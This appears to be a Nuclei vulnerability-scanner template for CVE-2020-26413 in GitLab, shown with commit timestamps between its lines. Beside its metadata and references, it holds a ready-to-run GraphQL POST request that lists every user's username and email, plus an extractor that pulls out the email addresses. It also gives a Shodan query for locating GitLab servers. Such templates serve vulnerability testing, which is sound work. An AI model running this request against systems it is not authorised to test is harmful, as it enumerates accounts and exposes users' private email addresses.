2021-11-06 12:52:50 +00:00
id : CVE-2020-26413
info :
2021-11-06 17:06:37 +00:00
name : Gitlab User enumeration via Graphql API
2021-11-06 14:48:27 +00:00
author : _0xf4n9x_,pikpikcu
2021-11-06 12:52:50 +00:00
severity : medium
description : An issue has been discovered in GitLab CE/EE affecting all versions starting from 13.4 before 13.6.2. Information disclosure via GraphQL results in user email being unexpectedly visible.
reference :
- https://gitlab.com/gitlab-org/gitlab/-/issues/244275
- https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-26413.json
- https://nvd.nist.gov/vuln/detail/CVE-2020-26413
2022-03-02 07:35:29 +00:00
metadata :
shodan-query : http.title:"GitLab"
2021-11-06 17:09:47 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score : 5.30
cve-id : CVE-2020-26413
cwe-id : CWE-200
2022-03-02 07:35:29 +00:00
tags : cve,cve2020,gitlab,exposure,enum,graphql
2021-11-06 12:52:50 +00:00
requests :
- raw :
- |
POST /api/graphql HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json
{
2021-11-06 17:06:37 +00:00
"query": "{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }" ,
"variables": null ,
"operationName": null
}
2021-11-06 12:52:50 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2021-11-06 17:06:37 +00:00
- '"username":'
- '"avatarUrl":'
- '"node":'
2021-11-06 12:52:50 +00:00
condition : and
- type : status
status :
- 200
2021-11-06 14:48:27 +00:00
extractors :
2021-11-06 17:06:37 +00:00
- type : json
2021-11-06 14:48:27 +00:00
part : body
2021-11-06 17:06:37 +00:00
json :
- '.data.users.edges[].node.email'